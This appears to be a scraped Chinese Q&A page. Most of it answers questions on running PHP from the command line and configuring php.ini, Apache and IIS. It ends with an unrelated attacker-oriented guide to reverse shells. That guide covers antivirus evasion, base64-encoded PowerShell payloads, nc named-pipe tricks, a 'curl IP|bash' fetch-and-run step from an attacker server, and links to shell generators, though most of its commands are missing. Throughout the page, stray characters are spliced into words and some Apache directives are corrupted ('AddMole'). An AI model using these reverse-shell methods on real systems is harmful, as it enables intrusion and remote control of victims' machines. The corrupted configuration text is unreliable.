⑴ windows下php命令行执行为什么总是跑去c:\program files目录下找ext
这个ext在php.ini中设置,当php开始运行的时候,它会根据你的配置文件,也就是php.ini中的设置来决定加载的东西,具体看php.net官网上的手册,要熟读
⑵ 如何运行PHP
分类: 电脑/网络 >> 程序设计 >> 其他编程语言
问题描述:
我们要在电脑上运运ASP文件 只要装IIS就可以。
哪要运行PHP文件呢。该怎么办!~
解析:
如何安装运行php
1. Unix/Windows: 我的php.ini 文件应该放在哪?
UNIX下默认它应该放在 /usr/local/lib 目录下。 这是它的 /lib. 很多人册旦芹会在编译时改变它,使用--with-config-file-path 标志。 例如, 你可以这样设它: --with-config-file-path=/etc
然后你可以复制源程序包里的 php.ini-dist 到 /etc/php.ini ,编辑它满足你的本地化需求。
Windows下 php.ini默认的路径是 Windows 系统目录. 如果你在使用 Apache webserver, php.ini 则最先在 Apaches 安装目录下被查找, 例如: c:\program files\apache group\apache. 这样你可以有不同的 php.ini 对应不同版本的 Apache(同一台机器上)。
更多细节请查阅 configuration file.
2. Unix: 我安装了 PHP, 但我每次加载一个文档, 会得到下面的消息: Document Contains No Data ! 怎么回事?
这可能是因为你的 PHP 发生了core-mping错误。 查找你的服务器错误日志文件,看看是否属于这种情况。 然后报告这个错误。如果你知道怎州毕样使用 gdb ,你可以提供一个 backtrace 在你的错误报告里。这将会对开发人员解决 这个问迟带题有很大帮助。如果你是在将PHP作为Apache模块使用,那么请按下面的步骤做:
停止 d 进程
gdb d
停止 d 进程
> run -X -f /path/to/d.conf
浏览你刚才出错的 URL
> run -X -f /path/to/d.conf
如果你还有 core mp, gdb 现在会通知你
打入: bt
在你的 bug report里应该包含backtrace 。 这些会被发往 bugs.php/
如果你的脚本使用了正则表达式函数 (ereg() and friends), 你应该确保你编译 PHP 和 Apache 用的是同一个正则表达式包。 在 PHP 和 Apache 1.3.x 这个过程是自动进行的。
3. Unix: 我使用 RPMS 安装 PHP , 但Apache 不支持 PHP页面! 怎么办?
假设你安装了 Apache 和 PHP(从 RPM ) , 你需要反注释或者增加一些行在你的 .conf 文件里: # Extra MolesAddMole mod_php.cAddMole mod_php3.cAddMole mod_perl.c# Extra MolesLoadMole php_mole moles/mod_php.soLoadMole php3_mole moles/libphp3.so /* for PHP 3 */LoadMole php4_mole moles/libphp4.so /* for PHP 4 */LoadMole perl_mole moles/libperl.so
And add: AddType application/x-d-php3 .php3 /* for PHP 3 */AddType application/x-d-php .php /* for PHP 4 */
... 到全局域里, 或者到你想要的 支持PHP的虚拟域里。
4. 我使用 RPMS 安装 PHP 3 , 但是它没有我需要的数据库选项支持! 我该怎么办?
因为 PHP 3 内建支持的关系, 编译一个完整的可适于所有应用的 PHP RPM是相当困难的。 在 PHP 4有谈到这点。 对 PHP 3, 我们只好建议你使用INSTALL.REDHAT (在 PHP包里)描述的机制。 如果你一定要使用 RPM 版的 PHP 3, 读...
RPM 包管理器设置 RPMS 简单的安装,不带数据库支持 and 因为RPMS 使用 /usr/ 而不是标准的 /usr/local/ 目录存放文件. 你需要告诉 RPM 文件你要支持哪种数据库以及它们的最上级目录的位置。
下面的例子将解释在Apache模式下怎样支持通行的数据库Mysql.
当然所有的这些可以稍作修改,以支持其它的PHP支持的数据库。我们假设你安装了 MySQL and Apache ,完全是用 RPMS 安装的。
首先,移去 mod_php3 : rpm -e mod_php3
然后取得rpm包并安装, 不是 --重编译 rpm -Uvh mod_php3-3.0.5-2.src.rpm
编辑/usr/src/redhat/SPECS/mod_php3.spec 文件
在 %build 一节里增加你想要的数据库支持, 以及路径信息。
对 MySQL 你应该增加: --with-mysql=/usr \
%build 节看起来象: ./configure --prefix=/usr \ --with-apxs=/usr/ *** in/apxs \ --with-config-file-path=/usr/lib \ --enable-debug=no \ --enable-safe-mode \ --with-exec-dir=/usr/bin \ --with-mysql=/usr \ --with-system-regex
改动完成后,象下面这样重编rpm : rpm -bb /usr/src/redhat/SPECS/mod_php3.spec
Then install the rpm rpm -ivh /usr/src/redhat/RPMS/i386/mod_php3-3.0.5-2.i386.rpm
重启 Apache,你已经得到了rpm下的Mysq
l的支持。 注意到这种做法比你重新得到一个 PHP 3 的tarball 代码,按照 INSTALL.REDHAT 的指引一步一步做要容易得多。
5. Unix: 我用 FrontPage 扩展包对Apache打了补丁, 忽然 PHP 停止工作。 是PHP 和 Apache FrontPage 包不兼容吗 ?
不是, PHP 和 FrontPage扩展包运行得很好.。问题是FrontPage 包修改了几个Apache 结构参数,而PHP要用到它们.在FrontPage扩展包被打上后, 重新编译 PHP (使用 make clean ; make ) ,会解决这个问题。
6. Unix/Windows: 我安装了PHP,但在浏览器里看我的PHP页面时,空白一片。
在浏览器里用 查看源文件 看你的脚本,你可能会发现你看到的是源程序。 这表示 web server 并没有送脚本到PHP去执行。肯定是服务器配置上哪儿出了错。 仔细检查PHP安装的 server 配置。
7. Unix/Windows: 我安装了PHP,但在浏览器里看我的 PHP页面时,我得到一个 server 500 error。
这是服务器在运行 PHP 时发生了错误。 为了看到可读的错误信息,在命令行,改变目录到 (php.exe Windows)所在目录, 运行 php -i. 如果有任何问题,详细的错误信息就显示出来了,它会告诉你下一步该做什么。 如果你得到满屏的HTML代码 (phpinfo() 函数的输出), 那么PHP工作正常,这个错误就是由于服务器配置引发的,应该仔细检查。
8. 某些操作系统: 我安装PHP没出错,可是我启动Apache时,得到一个 undefined symbol errors: [mybox:user /src/php4] root# apachectl configtest apachectl: /usr/local/apache/bin/d Undefined symbols: _press _unpress
这个问题其实与 PHP 无关, 而与 MySQL 客户端库有关。 --with-zlib,有些操作系统需要,而有些不需要。MySQL FAQ已经讲述了这个问题。
9. Windows: 我安装了PHP,但在浏览器里看我的PHP页面, 得到如下错误: cgi error: The specified CGI application mi *** ehaved by not returning a plete set of HTTP headers. The headers it did return are:
这是 PHP 根本没有产生任何输出。 为了看到可读的错误信息,在命令行,改变目录到 (php.exe Windows)所在目录, 运行 php -i. 如果有任何问题,详细的错误信息就显示出来了,它会告诉你下一步该做什么。 如果你得到满屏的HTML代码 (phpinfo() 函数的输出), 那么PHP工作正常。
一旦PHP在命令行模式下工作,再看看你的脚本程序, 它还是失败,可能是因为以下原因:
你的PHP脚本的权限许可。 php.exe, php4ts.dll, php.ini 或者任何你可能装入的PHP文件,它样都必须能被匿名 inter 用户 ISUR_ 访问。
脚本文件根本不存在(或者不是你认为的位置。)请注意在IIS里,你能够阻塞这个错误,做法是在设置脚本映射目录时, 选上 check file exists 框。这样如果脚本不存在,服务器会返回一个404错误。 这样做也有其它的一些好处, 就是IIS仅为你做经过授权的操作。
10. Windows: 我严格按照install的要求做,可是还是不能让我的php在IIS下工作。
确定任何想要运行PHP的用户有操作php.exe的权限! IIS 使用匿名的inter用户,它是在IIS安装时系统自动增加的。 这个用户需要操作 php.exe的权限. 还有,任何需要授权的用户也必须有访问 php.exe的权限。 在 IIS4下,你要告诉它PHP是一个脚本引擎。
⑶ php命令行工具检测php文件语法格式是否正确的方法是
使用PHP命令行,如果你是Windows下,需要先设置环境变量
1.右键我的电脑->属性->高级设置
2.点高级->环境变量
⑷ 如何在cmd命令行下运行php
把你安装后的php.exe文件路径添加到系统PATH下,就行了
⑸ 如何在windows上安装phpmd,phpcs和php-cs-fixer命令
在windows上安装phpmd,phpcs和php-cs-fixer命令方法如下:
Atom编辑器里代码提示插件linter官方出的linter-phpmd 和 linter-phpcs,都需要基于本地执行脚本,在mac上直接brew直接搞定,在windows上折腾了半天才折腾出来
1. 使用安装包安装php第三方包管理器Composer
下载并运行Composer-Setup.exe. 该程序将自动安装最新版本的Composer 并自动设置执行程序目录到系统环境变量,安装完成后可在任何目录里启动命令行并使用Composer命令.
2. 安装 PHP_CodeSniffer、 PHP Mess Detector 和 PHP Coding Standards Fixer
在命令行里运行:
composer global require squizlabs/php_codesniffer;
composer global require phpmd/phpmd;
composer global require fabpot/php-cs-fixer;
3、安蚂激装完成后,将phpcs.bat 、phpmd.bat和php-cs-fixer.bat 所在的目录 ../.composer/vendor/bin/ 加入到环境变量,然后在命令行闷型袜里执行下phpcs、phpmd、php-cs-fixer两个命令,不出意外租源就成功啦
注意事项:安装phpmd和phpcs需要访问到国外网络,条件允许最好用代理下。
⑹ 如何让命令行支持PHP语法编译
在windows环境下,进行相关配置可以让命令行(cmd)支持PHP语法编译;甚至是java/c等;默认命令行不支持PHP语法,会报像“此命令不是内部命令”的提示;那应该怎么配置,其实道理很简单。
无论是Java还是PHP,根本原来就是让系统知道你的编译文件的安装路径即可,下面讲一下基本步骤:
1、首先第一部找到自己PHP安装文件的路径,比如“ F:\wamp\bin\php\php5.3.10 ”;
2、配置环境变量:
2.1、桌面”计算机“右键=》属性=》高级系统设置(也可以打开控制面板=》系统【小图标】=》高级系统设置);
2.2、点击高级系统设置后会出现一个 系统属性 的面板,点击面板里的环境变量按钮,查看Adminstrator的用户变量 栏有无PATH变量(默认只有TEMP和TMP),如果没有点击新建,有的话点击编辑;
2.3、新建:变量名里填(PATH);变量值里填PHP路径(;F:\wamp\bin\php\php5.3.10 ),变量值可以为多个,之间以英文的”;“间隔 ,最前面也必须加一个”;“号。
编辑:在已有的变量值后添加PHP路径(;F:\wamp\bin\php\php5.3.10 ),记住前面要加分好间隔,后面不加。
3、如此环境配置成功!测试一下:
在开始下的输入框中输入cmd进入命令行,输入php -v 测试,不提示不是内部命令为成功!
⑺ windows下如何实现在命令行下运行PHP文件
window下,假设php安装目录为c:\program files\php5\,那么使用命令窗口进入到该路径下,敲入php hello.php回车,则会执行当前路径下的hello.php文件,如果要指向其他路径下php文件,可以在php 路径/hello.php ,这种形式称为CLI模式,我们平时通过浏览器看到的那种称为CGI模式,至于传递参数,php文件在cli模式下,直接通过在文件名称后面接参数,多个参数中间用空格隔开,在php文件里面是通过两个变量来获取参数的,一个是$argv,一个是$argc,前者是传递参数的数组,默认第一个为php文件的名称;后者为$argv的数组个数。
linux下,一般程序安装都会安装在/usr/bin/php下面,可以通过man php查看一下,如果有信息说明可以使用,使用方法类似于window下。如果前面这步成立,那么你可以直接 php php文件 来运行php文件,如果man php没有信息,则说明当前php执行文件没有在环境路径里面,可以修改环境路径包含php路径,也可以类似于window进入php路径,在执行 php php文件。其他类似于window下。
⑻ 反弹shell小结
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
简而言之,反弹shell就是要我们的vps服务器设置监听,然后让服务器反弹一个shell来连接我们自己的主机,从而使我们能远程控制我们的主机
客户端执行:
服务端成功接收,客户端执行命令成功。
成功反弹:
当然由于各种环境不同,服务端不一定有nc,所以还要靠其他手段各显神通。
项目地址: https://eternallybored.org/misc/netcat/
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多
注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行
base64编码处理:
目标机器执行:
适用于python2环境
考虑实战中可能没有python环境
可以先在本地上使用pyinstaller将改文件打包为exe文件,直接上传exe运行即可。(推荐使用)
实际测试bypass av效果也比较好。
其实msf有相应的模块可以生成dll,没事也可以用用这个小工具,轻便快捷,一键操作,免杀能力一般,但起码比msf强,msf生成的基本会被通杀。
将生成的dll文件上传至被攻击端
运行命令:
攻击端用nc监听,即可反弹cmd
github项目地址: https://github.com/Ridter/MyJSRat
攻击端运行:
被控端运行:
首先在目标上查看相关命令是否存在:
某些目标的 nc 不支持 -e 参数,有两个解决思路
要么使用其他版本的 nc:
要么配合命名管道进行反弹:
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
然后再目标机上执行如下,即可反弹shell:
补充: curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等
保存为Revs.java文件,编译执行,成功反弹shell。
项目地址: https://github.com/iagox86/dnscat2
具体原理请参考: python正向连接后门
最后,推荐一个一键在线生成反弹shell网站:
https://krober.biz/misc/reverse_shell.php
windows命令行反弹shell(一)
Windows/Linux 下nc 反弹shell
反弹shell原理与实现
Reverse shell cheatsheet
反弹shell的各种姿势